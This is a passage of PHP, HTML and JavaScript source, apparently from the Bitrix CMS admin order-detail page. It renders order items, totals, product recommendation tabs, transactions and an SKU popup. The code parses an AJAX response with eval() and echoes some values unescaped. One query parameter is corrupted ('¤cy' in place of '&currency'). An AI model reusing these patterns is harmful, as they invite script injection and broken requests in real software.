$productImg = CFile::ResizeImageGet($arFile, array('width'=>80, 'height'=>80), BX_RESIZE_IMAGE_PROPORTIONAL, false, false);
$arItem["PICTURE"] = $productImg;
}
if (is_array($arItem["PICTURE"]))
echo '<img src="'.$arItem["PICTURE"]["src"].'" alt="" border="0" />';
else
echo '<div class="no_foto">'.GetMessage('SOD_NO_FOTO').'</div>';
?>
</td>
<?
}
if ($columnCode == "COLUMN_NAME")
{
if ($bUseIblock)
{
$arProductInfo = $arBasketElement[$arItem["PRODUCT_ID"]];
if ($arProductInfo["IBLOCK_ID"] > 0)
{
$arItem["EDIT_PAGE_URL"] = CIBlock::GetAdminElementEditLink($arProductInfo["IBLOCK_ID"], $arItem["PRODUCT_ID"], array(
"find_section_section" => $arProductInfo["IBLOCK_SECTION_ID"],
'WF' => 'Y',
));
}
}
?>
<td class="COLUMN_NAME">
<div class='bx-adm-bigdata-icon-medium-inner' <?=!$arItem['RECOMMENDATION']?'style="visibility: hidden"':''?>></div>
<?
$linkClass = (CSaleBasketHelper::isSetItem($arItem)) ? "set-item-link-name" : "";
if (strlen($arItem["EDIT_PAGE_URL"]) > 0):
?>
<a href="<?echo $arItem["EDIT_PAGE_URL"]?>" class="name-link <?=$linkClass?>" target="_blank">
<?
endif;
echo trim($arItem["NAME"]);
if (strlen($arItem["EDIT_PAGE_URL"]) > 0):
?>
</a>
<?
endif;
if (CSaleBasketHelper::isSetParent($arItem)):
?>
<div class="set-link-block">
<a class="dashed-link show-set-link" href="javascript:void(0);" id="set_toggle_link_<?=$arItem["SET_PARENT_ID"]?>" onclick="fToggleSetItems(<?=$arItem["SET_PARENT_ID"]?>);"><?=GetMessage("SOD_SHOW_SET")?></a>
</div>
<?
endif;
?>
</td>
<?
}
if ($columnCode == "COLUMN_QUANTITY")
{
$measure = (isset($arItem["MEASURE_TEXT"])) ? $arItem["MEASURE_TEXT"] : "";
?>
<td class="COLUMN_QUANTITY">
<?echo $arItem["QUANTITY"]." ".$measure?>
</td>
<?
}
if ($columnCode == "COLUMN_REMAINING_QUANTITY")
{
?>
<td class="COLUMN_REMAINING_QUANTITY">
<?
$balance = 0;
if ($arItem["MODULE"] == "catalog" && $bUseCatalog)
{
$ar_res = CCatalogProduct::GetByID($arItem["PRODUCT_ID"]);
$balance = FloatVal($ar_res["QUANTITY"]);
}
?>
<?echo $balance?>
</td>
<?
}
if ($columnCode == "COLUMN_PROPS")
{
?>
<td class="COLUMN_PROPS">
<?
if (!empty($arBasketProps[$arItem["ID"]]) && is_array($arBasketProps[$arItem["ID"]]))
{
foreach ($arBasketProps[$arItem["ID"]] as &$val)
{
echo htmlspecialcharsex($val["NAME"].": ".$val["VALUE"])."<br />";
}
if (isset($val))
unset($val);
}
?>
</td>
<?
}
if ($columnCode == "COLUMN_PRICE")
{
?>
<td class="COLUMN_PRICE" nowrap>
<?
$priceDiscount = $priceBase = ($arItem["DISCOUNT_PRICE"] + $arItem["PRICE"]);
if(DoubleVal($priceBase) > 0)
$priceDiscount = roundEx(($arItem["DISCOUNT_PRICE"] * 100) / $priceBase, SALE_VALUE_PRECISION);
?>
<div class="edit_price">
<span class="default_price_product" >
<span class="formated_price"><?=CCurrencyLang::CurrencyFormat($arItem["PRICE"], $arItem["CURRENCY"], false);?></span>
</span>
<span class="currency_price"><?=$CURRENCY_FORMAT?></span>
</div>
<?
if (0 < $priceDiscount)
{
?><div class="base_price" id="DIV_BASE_PRICE_WITH_DISCOUNT_<?=$arItem["PRODUCT_ID"]?>">
<?=CCurrencyLang::CurrencyFormat($priceBase, $arItem["CURRENCY"], false);?>
<span class="currency_price"><?=$CURRENCY_FORMAT?></span>
</div><?
if ('Y' != $arItem["CUSTOM_PRICE"])
{
?><div class="discount">(<? echo GetMessage('SOD_PRICE_DISCOUNT')." ".$priceDiscount?>%)</div><?
}
}
?><div class="base_price_title">
<?=('Y' == $arItem["CUSTOM_PRICE"]) ? GetMessage("SOD_BASE_CATALOG_PRICE") : $arItem["NOTES"];?>
</div>
</td>
<?
}
if ($columnCode == "COLUMN_SUM")
{
?>
<td class="COLUMN_SUM" nowrap>
<?
if (!CSaleBasketHelper::isSetItem($arItem)):
?>
<div><?=CCurrencyLang::CurrencyFormat(($arItem["QUANTITY"] * $arItem["PRICE"]), $arItem["CURRENCY"], false);?> <span><?=$CURRENCY_FORMAT?></span></div>
<?
endif;
?>
</td>
<?
}
if (substr($columnCode, 0, 9) == "PROPERTY_")
{
?>
<td class="property_field <?=$columnCode?>">
<?=getIblockPropInfo($arBasketPropsValues[$arItem["PRODUCT_ID"]][$columnCode."_VALUE"], $arIblockProps[$columnCode], array("WIDTH" => 90, "HEIGHT" => 90), $ID);?>
</td>
<?
}
}
?>
</tr>
<?
}//end while order
}
?>
</table>
</td>
</tr>
<script type="text/javascript">
function fToggleSetItems(setParentId)
{
var elements = document.getElementsByClassName('set_item_' + setParentId);
var hide = false;
for (var i = 0; i < elements.length; ++i)
{
if (elements[i].style.display == 'none' || elements[i].style.display == '')
{
elements[i].style.display = 'table-row';
hide = true;
}
else
elements[i].style.display = 'none';
}
if (hide)
BX("set_toggle_link_" + setParentId).innerHTML = '<?=GetMessage("SOD_HIDE_SET")?>';
else
BX("set_toggle_link_" + setParentId).innerHTML = '<?=GetMessage("SOD_SHOW_SET")?>';
}
</script>
<?
$tabControl->EndCustomField("orders_list");
$tabControl->BeginCustomField("orders_itog", GetMessage("SOD_ORDER_ITOG"));
?>
<tr>
<td colspan="2" valign="top">
<br>
<table width="100%" class="order_summary">
<tr>
<td class="load_product" valign="top">
<table width="100%" class="itog_header"><tr><td><?=GetMessage('SOD_SUBTAB_RECOM_REQUEST');?></td></tr></table>
<br>
<div id="tabs">
<?
$displayNone = "block";
$displayNoneBasket = "block";
$displayNoneViewed = "block";
$arRecommendedResult = CSaleProduct::GetRecommendetProduct($arOrder["USER_ID"], $arOrder["LID"], $arFilterRecomendet);
$recomCnt = count($arRecommendedResult);
if ($recomCnt > 2)
{
$arTmp = array();
$arTmp[] = $arRecommendedResult[0];
$arTmp[] = $arRecommendedResult[1];
$arRecommendedResult = $arTmp;
}
if ($recomCnt <= 0)
$displayNone = "none";
$arErrors = array();
$arFuserItems = CSaleUser::GetList(array("USER_ID" => intval($arOrder["USER_ID"])));
$arCartWithoutSetItems = array();
$arTmpShoppingCart = CSaleBasket::DoGetUserShoppingCart($arOrder["LID"], $arOrder["USER_ID"], $arFuserItems["ID"], $arErrors, array());
if (is_array($arTmpShoppingCart))
{
foreach ($arTmpShoppingCart as $arCartItem)
{
if (CSaleBasketHelper::isSetItem($arCartItem))
continue;
$arCartWithoutSetItems[] = $arCartItem;
}
}
$basketCnt = count($arCartWithoutSetItems);
if ($basketCnt > 2)
{
$arTmp = array();
$arTmp[] = $arCartWithoutSetItems[0];
$arTmp[] = $arCartWithoutSetItems[1];
$arCartWithoutSetItems = $arTmp;
}
if ($basketCnt <= 0)
$displayNoneBasket = "none";
///
$arViewed = array();
$arViewedIds = array();
$viewedCount = 0;
$mapViewed = array();
if (CModule::includeModule("catalog"))
{
$viewedIterator = \Bitrix\Catalog\CatalogViewedProductTable::getList(array(
'order' => array("DATE_VISIT" => "DESC"),
'filter' => array('FUSER_ID' => $arFuserItems["ID"], "SITE_ID" =>$arOrder["LID"] ),
'select' => array("ID", "FUSER_ID", "DATE_VISIT", "PRODUCT_ID", "LID" => "SITE_ID", "NAME" => "ELEMENT.NAME", "PREVIEW_PICTURE" => "ELEMENT.PREVIEW_PICTURE", "DETAIL_PICTURE" => "ELEMENT.DETAIL_PICTURE" )
));
while($viewed = $viewedIterator->fetch())
{
$viewed['MODULE'] = 'catalog';
$arViewed[$viewedCount] = $viewed;
$arViewedIds[] = $viewed['PRODUCT_ID'];
$mapViewed[$viewed['PRODUCT_ID']] = $viewedCount;
$viewedCount++;
}
unset($viewedCount);
$baseGroup = CCatalogGroup::getBaseGroup();
if (!empty($arViewedIds))
{
$priceIterator = CPrice::getList(
array(),
array("PRODUCT_ID" => $arViewedIds, 'CATALOG_GROUP_ID' => $baseGroup['ID']), false, false, array("PRODUCT_ID", "PRICE", "CURRENCY"));
while($productPrice = $priceIterator->fetch() )
{
if (isset($mapViewed[$productPrice['PRODUCT_ID']]))
{
$key = $mapViewed[$productPrice['PRODUCT_ID']];
$arViewed[$key]["PRICE"] = $productPrice["PRICE"];
$arViewed[$key]["CURRENCY"] = $productPrice["CURRENCY"];
}
}
}
$viewedCnt = count($arViewed);
$arViewed = array_slice($arViewed, 0, 2);
if (count($arViewed) <= 0)
$displayNoneViewed = "none";
}
else
{
$displayNoneViewed = "none";
}
$tabBasket = "tabs";
$tabViewed = "tabs";
if ($displayNoneBasket == 'none' && $displayNone == 'none' && $displayNoneViewed == 'block')
$tabViewed .= " active";
if ($displayNoneBasket == 'block' && $displayNone == 'none')
$tabBasket .= " active";
?>
<div id="tab_1" style="display:<?=$displayNone?>" class="tabs active" onClick="fTabsSelect('buyer_recmon', this);" ><?=GetMessage('SOD_SUBTAB_RECOMENET')?></div>
<div id="tab_2" style="display:<?=$displayNoneBasket?>" class="<?=$tabBasket?>" onClick="fTabsSelect('buyer_basket', this);"><?=GetMessage('SOD_SUBTAB_BASKET')?></div>
<div id="tab_3" style="display:<?=$displayNoneViewed?>" class="<?=$tabViewed?>" onClick="fTabsSelect('buyer_viewed', this);"><?=GetMessage('SOD_SUBTAB_LOOKED')?></div>
<?
if ($displayNone == 'block')
{
$displayNoneBasket = 'none';
$displayNoneViewed = 'none';
}
if ($displayNoneBasket == 'block')
{
$displayNone = 'none';
$displayNoneViewed = 'none';
}
if ($displayNoneViewed == 'block')
{
$displayNone = 'none';
$displayNoneBasket = 'none';
}
?>
<div id="buyer_recmon" class="tabstext active" style="display:<?=$displayNone?>">
<?echo fGetFormatedProductData($arOrder["USER_ID"], $arOrder["LID"], $arRecommendedResult, $recomCnt, $arOrder["CURRENCY"], 'recom', $crmMode);?>
</div>
<div id="buyer_basket" class="tabstext active" style="display:<?=$displayNoneBasket?>">
<?
if (count($arCartWithoutSetItems) > 0)
echo fGetFormatedProductData($arOrder["USER_ID"], $arOrder["LID"], $arCartWithoutSetItems, $basketCnt, $arOrder["CURRENCY"], 'basket', $crmMode);
?>
</div>
<div id="buyer_viewed" class="tabstext active" style="display:<?=$displayNoneViewed?>">
<?
if (count($arViewed) > 0)
echo fGetFormatedProductData($arOrder["USER_ID"], $arOrder["LID"], $arViewed, $viewedCnt, $arOrder["CURRENCY"], 'viewed', $crmMode);
?>
</div>
</div>
<script type="text/javascript">
function fTabsSelect(tabText, el)
{
BX('tab_1').className = "tabs";
BX('tab_2').className = "tabs";
BX('tab_3').className = "tabs";
BX(el).className = "tabs active";
BX(el).className = "tabs active";
BX(el).style.display = 'block';
BX('buyer_recmon').className = "tabstext";
BX('buyer_basket').className = "tabstext";
BX('buyer_viewed').className = "tabstext";
BX('buyer_recmon').style.display = 'none';
BX('buyer_basket').style.display = 'none';
BX('buyer_viewed').style.display = 'none';
BX(tabText).style.display = 'block';
BX(tabText).className = "tabstext active";
}
</script>
</td>
<td class="summary" valign="top">
<div class="order-itog">
<table>
<tr>
<td class="title"><?echo GetMessage("SOD_TOTAL_PRICE")?></td>
<td nowrap style="white-space:nowrap;"><?=SaleFormatCurrency($ORDER_TOTAL_PRICE, $arOrder["CURRENCY"]);?></td>
</tr>
<tr class="price">
<td class="title"><?echo GetMessage("SOD_TOTAL_PRICE_WITH_DISCOUNT_MARGIN")?></td>
<td nowrap style="white-space:nowrap;"><?=SaleFormatCurrency($orderBasketPrice, $arOrder["CURRENCY"]);?></td>
</tr>
<tr>
<td class="title"><?echo GetMessage("SOD_TOTAL_PRICE_DELIVERY")?></td>
<td nowrap style="white-space:nowrap;"><?=SaleFormatCurrency($arOrder["PRICE_DELIVERY"], $arOrder["CURRENCY"]);?></td>
</tr>
<?if (floatval($arOrder["DISCOUNT_VALUE"]) > 0):?>
<tr class="price">
<td class="title" >
<?echo GetMessage("NEWO_TOTAL_DISCOUNT_PRICE_VALUE")?>
</td>
<td nowrap style="white-space:nowrap;">
<div><?=SaleFormatCurrency($arOrder["DISCOUNT_VALUE"], $arOrder["CURRENCY"]);?></div>
</td>
</tr>
<?endif;?>
<?if ($ORDER_TOTAL_WEIGHT > 0):?>
<tr>
<td class="title"><?echo GetMessage("NEWO_TOTAL_WEIGHT")?></td>
<td nowrap style="white-space:nowrap;">
<?=roundEx(DoubleVal($ORDER_TOTAL_WEIGHT/$WEIGHT_KOEF), SALE_WEIGHT_PRECISION)." ".$WEIGHT_UNIT;?>
</td>
</tr>
<?endif;?>
<tr class="itog">
<td class="ileft"><div style="white-space:nowrap;"><?echo GetMessage("SOD_TOTAL_PRICE_TOTAL")?></div></td>
<td class="iright" nowrap><div style="white-space:nowrap;"><?=SaleFormatCurrency($arOrder["PRICE"], $arOrder["CURRENCY"]);?></div></td>
</tr>
<?if (floatval($arOrder["SUM_PAID"]) > 0 && $arOrder["PAYED"] != "Y"):?>
<tr class="price">
<td class="title"><?echo GetMessage("SOD_TOTAL_PRICE_PAYED")?></td>
<td nowrap style="white-space:nowrap;"><?=SaleFormatCurrency($arOrder["SUM_PAID"], $arOrder["CURRENCY"]);?></td>
</tr>
<?endif;?>
<?if ($arOrder["PAYED"] == "Y"):?>
<tr class="price">
<td class="title"><?echo GetMessage("SOD_TOTAL_PRICE_PAYED")?></td>
<td nowrap style="white-space:nowrap;"><?=SaleFormatCurrency($arOrder["PRICE"], $arOrder["CURRENCY"]);?></td>
</tr>
<?endif;?>
</table>
</div>
</td>
</tr>
</table>
<script type="text/javascript">
/*
* click on recommendet More
*/
function fGetMoreProduct(type)
{
BX.showWait();
productData = <? echo CUtil::PhpToJSObject($arFilterRecomendet); ?>;
var userId = '<?=$arOrder["USER_ID"]?>';
var fUserId = '<?=$arFuserItems["ID"]?>';
var currency = '<?=$arOrder["CURRENCY"]?>';
var lid = '<?=$arOrder["LID"]?>';
BX.ajax.post('/bitrix/admin/sale_order_detail.php', '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&type='+type+'&arProduct='+productData+'¤cy='+currency+'&LID='+lid+'&userId='+userId+'&fUserId='+fUserId+'&ID=<?=$ID?>', fGetMoreProductResult);
}
function fGetMoreProductResult(res)
{
BX.closeWait();
var rs = eval( '('+res+')' );
if (rs["ITEMS"].length > 0)
{
if (rs["TYPE"] == 'basket')
BX("buyer_basket").innerHTML = rs["ITEMS"];
if (rs["TYPE"] == 'recom')
BX("buyer_recmon").innerHTML = rs["ITEMS"];
if (rs["TYPE"] == 'viewed')
BX("buyer_viewed").innerHTML = rs["ITEMS"];
}
}
</script>
</td>
</tr>
<?
$tabControl->EndCustomField("orders_itog");
$tabControl->BeginNextFormTab();
$tabControl->BeginCustomField("TRANSACT", GetMessage("SODN_TAB_TRANSACT"));
?>
<tr>
<td colspan="2">
<?
$dbTransact = CSaleUserTransact::GetList(
array("TRANSACT_DATE" => "DESC"),
array("ORDER_ID" => $ID),
false,
false,
array("ID", "USER_ID", "AMOUNT", "CURRENCY", "DEBIT", "ORDER_ID", "DESCRIPTION", "NOTES", "TIMESTAMP_X", "TRANSACT_DATE")
);
?>
<table cellpadding="3" cellspacing="1" border="0" width="100%" class="adm-list-table" style="border:1px solid #CCC">
<tr class="adm-list-table-header">
<td class="adm-list-table-cell"><div class="adm-list-table-cell-inner"><?echo GetMessage("SOD_TRANS_DATE")?></div></td>
<td class="adm-list-table-cell"><div class="adm-list-table-cell-inner"><?echo GetMessage("SOD_TRANS_USER")?></div></td>
<td class="adm-list-table-cell"><div class="adm-list-table-cell-inner"><?echo GetMessage("SOD_TRANS_SUM")?></div></td>
<td class="adm-list-table-cell"><div class="adm-list-table-cell-inner"><?echo GetMessage("SOD_TRANS_DESCR")?></div></td>
<td class="adm-list-table-cell"><div class="adm-list-table-cell-inner"><?echo GetMessage("SOD_TRANS_COMMENT")?></div></td>
</tr>
<?
$bNoTransact = True;
while ($arTransact = $dbTransact->Fetch())
{
$bNoTransact = False;
?>
<tr class="adm-list-table-row">
<td class="adm-list-table-cell"><?= $arTransact["TRANSACT_DATE"]; ?></td>
<td class="adm-list-table-cell">
<?echo GetFormatedUserName($arTransact["USER_ID"]);?>
</td>
<td class="adm-list-table-cell">
<?
echo (($arTransact["DEBIT"] == "Y") ? "+" : "-");
echo SaleFormatCurrency($arTransact["AMOUNT"], $arTransact["CURRENCY"]);
?>
</td>
<td class="adm-list-table-cell">
<?
if (array_key_exists($arTransact["DESCRIPTION"], $arTransactTypes))
echo htmlspecialcharsEx($arTransactTypes[$arTransact["DESCRIPTION"]]);
else
echo htmlspecialcharsEx($arTransact["DESCRIPTION"]);
?>
</td>
<td class="adm-list-table-cell" align="right">
<?echo htmlspecialcharsEx($arTransact["NOTES"]) ?>
</td>
</tr>
<?
}
if ($bNoTransact)
{
?>
<tr>
<td colspan="5" align="center">
<?echo GetMessage("SOD_NO_TRANS")?>
</td>
</tr>
<?
}
?>
</table>
</td>
</tr>
<?
$tabControl->EndCustomField("TRANSACT", '');
$tabControl->BeginNextFormTab();
$tabControl->BeginCustomField("ORDER_HISTORY", GetMessage("SODN_TAB_HISTORY"));
?>
<tr>
<td colspan="2" valign="top">
<div id="trans-history"></div>
</td>
</tr>
<?
$tabControl->EndCustomField("ORDER_HISTORY", '');
$tabControl->Show();
}
}
?>
<div id="tr-sourse" style="display:none;">
<form name="find_form5" method="GET" action="<? echo $APPLICATION->GetCurPage(); ?>?">
<input type="hidden" name="ID" value="<?=$ID?>">
<?
$arFilterFieldsTmp = array(
"filter_user" => GetMessage("SOA_ROW_BUYER"),
"filter_date_history" => GetMessage("SALE_F_DATE"),
"filter_status_id" => GetMessage("SALE_F_DATE_UPDATE"),
"filter_payed" => GetMessage("SALE_F_ID"),
"filter_allow_delivery" => GetMessage("SALE_F_LANG_CUR"),
"filter_canceled" => GetMessage("SOA_F_PRICE"),
"filter_deducted" => GetMessage("SOA_F_PRICE"),
"filter_marked" => GetMessage("SOA_F_PRICE")
);
$oFilter = new CAdminFilter(
$sTableID_tab5."_filters",
$arFilterFieldsTmp
);
$oFilter->SetDefaultRows(array("filter_user"));
$oFilter->Begin();
?>
<tr>
<td><?=GetMessage('SOD_HIST_H_USER')?>:</td>
<td>
<?echo FindUserID("filter_user", $filter_user, "", "find_form5");?>
</td>
</tr>
<tr>
<td><?=GetMessage('SOD_HIST_H_DATE')?>:</td>
<td>
<?echo CalendarPeriod("filters_date_history_from", $filters_date_history_from, "filters_date_history_to", $filters_date_history_to, "find_form5", "Y")?>
</td>
</tr>
<tr>
<td><?=GetMessage('SOD_HIST_TYPE')?>:</td>
<td>
<select name="filter_type">
<option value=""><?echo GetMessage("SOD_HIST_ALL")?></option>
<? foreach ($arOperations as $type => $name)
{ ?>
<option value="<?=$type?>"<?if ($filter_type== $type) echo " selected"?>><?=$name?></option>
<? } ?>
</select>
</td>
</tr>
<?
$oFilter->Buttons(
array(
"table_id" => $sTableID_tab5,
"url" => $APPLICATION->GetCurPage(),
"form" => "find_form5"
)
);
$oFilter->End();
?>
</form>
<?$lAdmin_tab5->DisplayList(array("FIX_HEADER" => false, "FIX_FOOTER" => false));?>
</div>
<div class="sale_popup_form" id="popup_form_sku_order" style="display:none;">
<table width="100%">
<tr><td></td></tr>
<tr>
<td><small><span id="listItemPrice"></span> <span id="listItemOldPrice"></span></small></td>
</tr>
<tr>
<td><hr></td>
</tr>
</table>
<table width="100%" id="sku_selectors_list">
<tr>
<td colspan="2"></td>
</tr>
</table>
<span id="prod_order_button"></span>
<input type="hidden" value="" name="popup-params-product" id="popup-params-product" >
</div>
<script type="text/javascript">
var wind = new BX.PopupWindow('popup_sku', this, {
offsetTop : 10,
offsetLeft : 0,
autoHide : true,
closeByEsc : true,
closeIcon : true,
titleBar : true,
draggable: {restrict:true},
titleBar: {content: BX.create("span", {html: '', 'props': {'className': 'sale-popup-title-bar'}})},
content : BX("popup_form_sku_order"),
buttons: [
new BX.PopupWindowButton({
text : '<?=GetMessageJS('SOD_POPUP_CAN_BUY_NOT');?>',
id : "popup_sku_save",
events : {
click : function() {
if (BX('popup-params-product') && BX('popup-params-product').value.length > 0)
{
window.location = BX('popup-params-product').value;
wind.close();
}
}
}
}),
new BX.PopupWindowButton({
text : '<?=GetMessageJS('SOD_POPUP_CLOSE');?>',
id : "popup_sku_cancel",
events : {
click : function() {
wind.close();
}
}
})
]
});
function fAddToBasketMoreProductSku(arSKU, arProperties, type, message)
{
BX.message(message);
wind.show();
buildSelect("sku_selectors_list", 0, arSKU, arProperties, type);
var properties_num = arProperties.length;
var lastPropCode = arProperties[properties_num-1].CODE;
addHtml(lastPropCode, arSKU, type);
}
function buildSelect(cont_name, prop_num, arSKU, arProperties, type)
{
var properties_num = arProperties.length;
var lastPropCode = arProperties[properties_num-1].CODE;
for (var i = prop_num; i < properties_num; i++)
{
var q = BX('prop_' + i);
if (q)
q.parentNode.removeChild(q);
}
var select = BX.create('SELECT', {
props: {
name: arProperties[prop_num].CODE,
id : arProperties[prop_num].CODE
},
events: {
change: (prop_num < properties_num-1)
? function() {
buildSelect(cont_name, prop_num + 1, arSKU, arProperties, type);
if (this.value != "null")
BX(arProperties[prop_num+1].CODE).disabled = false;
addHtml(lastPropCode, arSKU, type);
}
: function() {
if (this.value != "null")
addHtml(lastPropCode, arSKU, type);
}
}
});
if (prop_num != 0) select.disabled = true;
var ar = [];
select.add(new Option(arProperties[prop_num].NAME, 'null'));
for (var i = 0; i < arSKU.length; i++)
{
if (checkSKU(arSKU[i], prop_num, arProperties) && !BX.util.in_array(arSKU[i][prop_num], ar))
{
select.add(new Option(
arSKU[i][prop_num],
prop_num < properties_num-1 ? arSKU[i][prop_num] : arSKU[i]["ID"]
));
ar.push(arSKU[i][prop_num]);
}
}
var cont = BX.create('tr', {
props: {id: 'prop_' + prop_num},
children:[
BX.create('td', {html: arProperties[prop_num].NAME + ': '}),
BX.create('td', { children:[
select
]})
]
});
var tmp = BX.findChild(BX(cont_name), {tagName:'tbody'}, false, false);
tmp.appendChild(cont);
if (prop_num < properties_num-1)
buildSelect(cont_name, prop_num + 1, arSKU, arProperties, type);
}
function checkSKU(SKU, prop_num, arProperties)
{
for (var i = 0; i < prop_num; i++)
{
code = BX.findChild(BX('popup_sku'), {'attr': {name: arProperties[i].CODE}}, true, false).value;
if (SKU[i] != code)
return false;
}
return true;
}
function addHtml(lastPropCode, arSKU, type)
{
var selectedSkuId = BX(lastPropCode).value;
var btnText = '';
BX('popup-window-titlebar-popup_sku').innerHTML = '<span class="sale-popup-title-bar">'+arSKU[0]["PRODUCT_NAME"]+'</span>';
BX("listItemPrice").innerHTML = BX.message('PRODUCT_PRICE_FROM')+" "+arSKU[0]["MIN_PRICE"];
BX("listItemOldPrice").innerHTML = '';
for (var i = 0; i < arSKU.length; i++)
{
if (arSKU[i]["ID"] == selectedSkuId)
{
BX('popup-window-titlebar-popup_sku').innerHTML = '<span class="sale-popup-title-bar">'+arSKU[i]["NAME"]+'</span>';
if (arSKU[i]["DISCOUNT_PRICE"] != "")
{
BX("listItemPrice").innerHTML = arSKU[i]["DISCOUNT_PRICE_FORMATED"]+" "+arSKU[i]["VALUTA_FORMAT"];
BX("listItemOldPrice").innerHTML = arSKU[i]["PRICE_FORMATED"]+" "+arSKU[i]["VALUTA_FORMAT"];
summaFormated = arSKU[i]["DISCOUNT_PRICE_FORMATED"];
price = arSKU[i]["DISCOUNT_PRICE"];
priceFormated = arSKU[i]["DISCOUNT_PRICE_FORMATED"];
priceDiscount = arSKU[i]["PRICE"] - arSKU[i]["DISCOUNT_PRICE"];
}
else
{
BX("listItemPrice").innerHTML = arSKU[i]["PRICE_FORMATED"]+" "+arSKU[i]["VALUTA_FORMAT"];
BX("listItemOldPrice").innerHTML = "";
summaFormated = arSKU[i]["PRICE_FORMATED"];
price = arSKU[i]["PRICE"];
priceFormated = arSKU[i]["PRICE_FORMATED"];
priceDiscount = 0;
}
if (arSKU[i]["CAN_BUY"] == "Y")
{
BX('popup-params-product').value = "/bitrix/admin/sale_order_new.php?lang=<? echo LANGUAGE_ID; ?>&user_id="+arSKU[i]["USER_ID"]+"&LID="+arSKU[i]["LID"]+"&product["+arSKU[i]["ID"]+"]=1";
message = BX.message('PRODUCT_ADD');
}
else
{
BX('popup-params-product').value = '';
message = BX.message('PRODUCT_NOT_ADD');
}
BX.findChild(BX('popup_sku_save'), {'className': 'popup-window-button-text' }, true, false).innerHTML = message;
}
if (arSKU[i]["ID"] == selectedSkuId)
break;
}
}
//BX.ready(function(){setTimeout(function(){BX('trans-history').appendChild(BX('tr-sourse')); BX.show(BX('tr-sourse'));},300);})
BX.ready(function(){
BX('trans-history').appendChild(BX('tr-sourse'));
BX.show(BX('tr-sourse'));
})
</script>
<?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");
?>